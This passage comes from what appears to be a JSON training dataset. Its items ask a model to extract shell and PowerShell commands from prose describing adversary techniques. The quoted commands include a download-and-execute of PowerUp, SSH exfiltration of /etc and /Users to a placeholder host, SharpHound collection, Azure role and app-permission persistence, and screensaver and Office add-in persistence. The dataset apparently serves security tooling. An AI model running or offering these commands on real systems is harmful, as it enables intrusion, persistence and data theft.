English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    This operation tests SSH exfiltration by contacting a remote domain with the command: ssh #{domain} \"(cd /etc && tar -zcvf - *)\" > ./etc.tar.gz, which creates a compressed backup of the remote /etc directory locally.; For local-to-remote data exfiltration over SSH, use the following command to create a password-protected archive of the /Users/* directory: tar czpf - /Users/* | openssl des3 -salt -pass #{password} | ssh #{user_name}@#{domain} 'cat > /Users.tar.gz.enc'",
    "output": "{\"command_list\": [\"ssh #{domain} \\\"(cd /etc && tar -zcvf - *)\\\" > ./etc.tar.gz\\n\", \"tar czpf - /Users/* | openssl des3 -salt -pass #{password} | ssh #{user_name}@#{domain} 'cat > /Users.tar.gz.enc'\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To assign a service principal to an Azure role, adversaries may use the following command sequence, which requires specific permissions like User Access Administrator or Owner: Import-Module -Name Az.Resources\n$PWord = ConvertTo-SecureString -String \"#{password}\" -AsPlainText -Force\n$Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList \"#{username}\", $Pword\nConnect-AzAccount -Credential $Credential\n\n$sp = Get-AzADServicePrincipal | where-object {$_.DisplayName -eq \"#{service_principal_name}\"}\nif ($sp -eq $null) { Write-Warning \"Service Principal not found\"; exit }\n$subscription = Get-AzSubscription | where-object {$_.Name -eq \"#{subscription}\"} \nif ($subscription -eq $null) { Write-Warning \"Subscription not found\"; exit }\n$role = Get-AzRoleDefinition | where-object {$_.Name -eq \"#{role_name}\"}\nif ($role -eq $null) { Write-Warning \"Role not found\"; exit }\n\nNew-AzRoleAssignment -ObjectId $sp.id -RoleDefinitionId $role.id -Scope /subscriptions/$subscription\nWrite-Host \"Service Principal $($sp.DisplayName) was added to $($role.Name) role in subscriptions $($subscriptions.Name)\"; For persistence in Azure AD infrastructure, threat actors might create a new application with elevated permissions via this PowerShell script: Import-Module -Name AzureAD\n$PWord = ConvertTo-SecureString -String \"#{password}\" -AsPlainText -Force\n$Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList \"#{username}\", $Pword\nConnect-AzureAD -Credential $Credential\n\n$aadApplication = New-AzureADApplication -DisplayName \"#{application_name}\"\n$servicePrincipal = New-AzureADServicePrincipal -AppId $aadApplication.AppId\n#$aadApplication = Get-AzureADApplication -Filter \"DisplayName eq '#{application_name}'\"\n\n#Get Service Principal of Microsoft Graph Resource API \n$graphSP = Get-AzureADServicePrincipal -Filter \"DisplayName eq 'Microsoft Graph'\"\n\n#Initialize RequiredResourceAccess for Microsoft Graph Resource API \n$requiredGraphAccess = New-Object Microsoft.Open.AzureAD.Model.RequiredResourceAccess\n$requiredGraphAccess.ResourceAppId = $graphSP.AppId\n$requiredGraphAccess.ResourceAccess = New-Object System.Collections.Generic.List[Microsoft.Open.AzureAD.Model.ResourceAccess]\n\n#Set Application Permissions\n$ApplicationPermissions = @('#{application_permission}')\n\n$reqPermission = $graphSP.AppRoles | Where-Object {$_.Value -eq $ApplicationPermissions}\nif($reqPermission)\n{\n$resourceAccess = New-Object Microsoft.Open.AzureAD.Model.ResourceAccess\n$resourceAccess.Type = \"Role\"\n$resourceAccess.Id = $reqPermission.Id    \n#Add required app permission\n$requiredGraphAccess.ResourceAccess.Add($resourceAccess)\n}\nelse\n{\nWrite-Host \"App permission $permission not found in the Graph Resource API\" -ForegroundColor Red\n}\n\n#Add required resource accesses\n$requiredResourcesAccess = New-Object System.Collections.Generic.List[Microsoft.Open.AzureAD.Model.RequiredResourceAccess]\n$requiredResourcesAccess.Add($requiredGraphAccess)\n\n#Set permissions in existing Azure AD App\nSet-AzureADApplication -ObjectId $aadApplication.ObjectId -RequiredResourceAccess $requiredResourcesAccess\n\n$servicePrincipal = Get-AzureADServicePrincipal -Filter \"AppId eq '$($aadApplication.AppId)'\"\n\nNew-AzureADServiceAppRoleAssignment -ObjectId $servicePrincipal.ObjectId -PrincipalId $servicePrincipal.ObjectId -ResourceId $graphSP.ObjectId -Id $reqPermission.Id",
    "output": "{\"command_list\": [\"Import-Module -Name Az.Resources\\n$PWord = ConvertTo-SecureString -String \\\"#{password}\\\" -AsPlainText -Force\\n$Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList \\\"#{username}\\\", $Pword\\nConnect-AzAccount -Credential $Credential\\n\\n$sp = Get-AzADServicePrincipal | where-object {$_.DisplayName -eq \\\"#{service_principal_name}\\\"}\\nif ($sp -eq $null) { Write-Warning \\\"Service Principal not found\\\"; exit }\\n$subscription = Get-AzSubscription | where-object {$_.Name -eq \\\"#{subscription}\\\"} \\nif ($subscription -eq $null) { Write-Warning \\\"Subscription not found\\\"; exit }\\n$role = Get-AzRoleDefinition | where-object {$_.Name -eq \\\"#{role_name}\\\"}\\nif ($role -eq $null) { Write-Warning \\\"Role not found\\\"; exit }\\n\\nNew-AzRoleAssignment -ObjectId $sp.id -RoleDefinitionId $role.id -Scope /subscriptions/$subscription\\nWrite-Host \\\"Service Principal $($sp.DisplayName) was added to $($role.Name) role in subscriptions $($subscriptions.Name)\\\"\\n\", \"Import-Module -Name AzureAD\\n$PWord = ConvertTo-SecureString -String \\\"#{password}\\\" -AsPlainText -Force\\n$Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList \\\"#{username}\\\", $Pword\\nConnect-AzureAD -Credential $Credential\\n\\n$aadApplication = New-AzureADApplication -DisplayName \\\"#{application_name}\\\"\\n$servicePrincipal = New-AzureADServicePrincipal -AppId $aadApplication.AppId\\n#$aadApplication = Get-AzureADApplication -Filter \\\"DisplayName eq '#{application_name}'\\\"\\n\\n#Get Service Principal of Microsoft Graph Resource API \\n$graphSP = Get-AzureADServicePrincipal -Filter \\\"DisplayName eq 'Microsoft Graph'\\\"\\n\\n#Initialize RequiredResourceAccess for Microsoft Graph Resource API \\n$requiredGraphAccess = New-Object Microsoft.Open.AzureAD.Model.RequiredResourceAccess\\n$requiredGraphAccess.ResourceAppId = $graphSP.AppId\\n$requiredGraphAccess.ResourceAccess = New-Object System.Collections.Generic.List[Microsoft.Open.AzureAD.Model.ResourceAccess]\\n\\n#Set Application Permissions\\n$ApplicationPermissions = @('#{application_permission}')\\n\\n$reqPermission = $graphSP.AppRoles | Where-Object {$_.Value -eq $ApplicationPermissions}\\nif($reqPermission)\\n{\\n$resourceAccess = New-Object Microsoft.Open.AzureAD.Model.ResourceAccess\\n$resourceAccess.Type = \\\"Role\\\"\\n$resourceAccess.Id = $reqPermission.Id    \\n#Add required app permission\\n$requiredGraphAccess.ResourceAccess.Add($resourceAccess)\\n}\\nelse\\n{\\nWrite-Host \\\"App permission $permission not found in the Graph Resource API\\\" -ForegroundColor Red\\n}\\n\\n#Add required resource accesses\\n$requiredResourcesAccess = New-Object System.Collections.Generic.List[Microsoft.Open.AzureAD.Model.RequiredResourceAccess]\\n$requiredResourcesAccess.Add($requiredGraphAccess)\\n\\n#Set permissions in existing Azure AD App\\nSet-AzureADApplication -ObjectId $aadApplication.ObjectId -RequiredResourceAccess $requiredResourcesAccess\\n\\n$servicePrincipal = Get-AzureADServicePrincipal -Filter \\\"AppId eq '$($aadApplication.AppId)'\\\"\\n\\nNew-AzureADServiceAppRoleAssignment -ObjectId $servicePrincipal.ObjectId -PrincipalId $servicePrincipal.ObjectId -ResourceId $graphSP.ObjectId -Id $reqPermission.Id\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Malicious actors can abuse container permissions to run harmful commands through docker exec. They often use benign images like Ubuntu as a disguise, then execute their payload with these commands: docker build -t t1609  $PathtoAtomicsFolder/T1609/src/ \ndocker run --name t1609_container --rm -itd t1609 bash /tmp/script.sh\ndocker exec -i t1609_container bash -c \"cat /tmp/output.txt\"; This technique establishes persistence by copying a binary to System32 and configuring it as the screensaver, which requires executing the following commands: reg export \"HKEY_CURRENT_USER\\Control Panel\\Desktop\" %userprofile%\\backup.reg\ncopy #{input_binary} \"%SystemRoot%\\System32\\evilscreensaver.scr\"\nreg.exe add \"HKEY_CURRENT_USER\\Control Panel\\Desktop\" /v ScreenSaveActive /t REG_SZ /d 1 /f\nreg.exe add \"HKEY_CURRENT_USER\\Control Panel\\Desktop\" /v ScreenSaveTimeout /t REG_SZ /d 60 /f\nreg.exe add \"HKEY_CURRENT_USER\\Control Panel\\Desktop\" /v ScreenSaverIsSecure /t REG_SZ /d 0 /f\nreg.exe add \"HKEY_CURRENT_USER\\Control Panel\\Desktop\" /v SCRNSAVE.EXE /t REG_SZ /d \"%SystemRoot%\\System32\\evilscreensaver.scr\" /f\nif #{reboot} NEQ 0 shutdown /r /t 0",
    "output": "{\"command_list\": [\"docker build -t t1609  $PathtoAtomicsFolder/T1609/src/ \\ndocker run --name t1609_container --rm -itd t1609 bash /tmp/script.sh\\ndocker exec -i t1609_container bash -c \\\"cat /tmp/output.txt\\\"\\n\", \"reg export \\\"HKEY_CURRENT_USER\\\\Control Panel\\\\Desktop\\\" %userprofile%\\\\backup.reg\\ncopy #{input_binary} \\\"%SystemRoot%\\\\System32\\\\evilscreensaver.scr\\\"\\nreg.exe add \\\"HKEY_CURRENT_USER\\\\Control Panel\\\\Desktop\\\" /v ScreenSaveActive /t REG_SZ /d 1 /f\\nreg.exe add \\\"HKEY_CURRENT_USER\\\\Control Panel\\\\Desktop\\\" /v ScreenSaveTimeout /t REG_SZ /d 60 /f\\nreg.exe add \\\"HKEY_CURRENT_USER\\\\Control Panel\\\\Desktop\\\" /v ScreenSaverIsSecure /t REG_SZ /d 0 /f\\nreg.exe add \\\"HKEY_CURRENT_USER\\\\Control Panel\\\\Desktop\\\" /v SCRNSAVE.EXE /t REG_SZ /d \\\"%SystemRoot%\\\\System32\\\\evilscreensaver.scr\\\" /f\\nif #{reboot} NEQ 0 shutdown /r /t 0\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To identify installed software patches and their installation dates, an adversary can utilize WMI with the following command: wmic qfe get description,installedOn /format:csv; An adversary might verify remote service status through WMI, using the command: wmic /node:\"#{node}\" service where (caption like \"%#{service_search_string}%\")",
    "output": "{\"command_list\": [\"wmic qfe get description,installedOn /format:csv\\n\", \"wmic /node:\\\"#{node}\\\" service where (caption like \\\"%#{service_search_string}%\\\")\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To create an Excel Add-in file and configure it to run automatically when Excel starts, use the following command: $excelApp = New-Object -COMObject \"Excel.Application\"\nif(-not $excelApp.path.contains(\"Program Files (x86)\")){\n    Write-Host \"64-bit Office\"\n    Copy \"PathToAtomicsFolder\\T1137.006\\bin\\Addins\\excelxll_x64.xll\" \"$env:APPDATA\\Microsoft\\AddIns\\notepad.xll\"\n}\nelse{\n  Write-Host \"32-bit Office\"\n  Copy \"PathToAtomicsFolder\\T1137.006\\bin\\Addins\\excelxll_x86.xll\" \"$env:APPDATA\\Microsoft\\AddIns\\notepad.xll\"\n}\n$ver = $excelApp.version\n$ExcelRegPath=\"HKCU:\\Software\\Microsoft\\Office\\$Ver\\Excel\\Options\"\nRemove-Item $ExcelRegPath -ErrorAction Ignore\nNew-Item -type Directory $ExcelRegPath | Out-Null\nNew-ItemProperty $ExcelRegPath OPEN -value \"/R notepad.xll\" -propertyType string | Out-Null\n$excelApp.Quit()\nStart-Process \"Excel\"\n; For creating an auto-starting Word Add-in file (WLL) that executes notepad as a PoC, run this command. The technique was validated on 32-bit Office 2016 but unsuccessful in Microsoft 365 environments:\n$wdApp = New-Object -COMObject \"Word.Application\"\nif(-not $wdApp.path.contains(\"Program Files (x86)\"))  \n{\n  Write-Host \"64-bit Office\"\n  Copy \"PathToAtomicsFolder\\T1137.006\\bin\\Addins\\wordwll_x64.wll\" \"$env:APPDATA\\Microsoft\\Word\\Startup\\notepad.wll\"        \n}\nelse{\n  Write-Host \"32-bit Office\"\n  Copy \"PathToAtomicsFolder\\T1137.006\\bin\\Addins\\wordwll_x86.wll\" \"$env:APPDATA\\Microsoft\\Word\\Startup\\notepad.wll\"\n}\nStop-Process -Name \"WinWord\" \nStart-Process \"WinWord\"",
    "output": "{\"command_list\": [\"$excelApp = New-Object -COMObject \\\"Excel.Application\\\"\\nif(-not $excelApp.path.contains(\\\"Program Files (x86)\\\")){\\n    Write-Host \\\"64-bit Office\\\"\\n    Copy \\\"PathToAtomicsFolder\\\\T1137.006\\\\bin\\\\Addins\\\\excelxll_x64.xll\\\" \\\"$env:APPDATA\\\\Microsoft\\\\AddIns\\\\notepad.xll\\\"\\n}\\nelse{\\n  Write-Host \\\"32-bit Office\\\"\\n  Copy \\\"PathToAtomicsFolder\\\\T1137.006\\\\bin\\\\Addins\\\\excelxll_x86.xll\\\" \\\"$env:APPDATA\\\\Microsoft\\\\AddIns\\\\notepad.xll\\\"\\n}\\n$ver = $excelApp.version\\n$ExcelRegPath=\\\"HKCU:\\\\Software\\\\Microsoft\\\\Office\\\\$Ver\\\\Excel\\\\Options\\\"\\nRemove-Item $ExcelRegPath -ErrorAction Ignore\\nNew-Item -type Directory $ExcelRegPath | Out-Null\\nNew-ItemProperty $ExcelRegPath OPEN -value \\\"/R notepad.xll\\\" -propertyType string | Out-Null\\n$excelApp.Quit()\\nStart-Process \\\"Excel\\\"\\n\", \"$wdApp = New-Object -COMObject \\\"Word.Application\\\"\\nif(-not $wdApp.path.contains(\\\"Program Files (x86)\\\"))  \\n{\\n  Write-Host \\\"64-bit Office\\\"\\n  Copy \\\"PathToAtomicsFolder\\\\T1137.006\\\\bin\\\\Addins\\\\wordwll_x64.wll\\\" \\\"$env:APPDATA\\\\Microsoft\\\\Word\\\\Startup\\\\notepad.wll\\\"        \\n}\\nelse{\\n  Write-Host \\\"32-bit Office\\\"\\n  Copy \\\"PathToAtomicsFolder\\\\T1137.006\\\\bin\\\\Addins\\\\wordwll_x86.wll\\\" \\\"$env:APPDATA\\\\Microsoft\\\\Word\\\\Startup\\\\notepad.wll\\\"\\n}\\nStop-Process -Name \\\"WinWord\\\" \\nStart-Process \\\"WinWord\\\"\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - 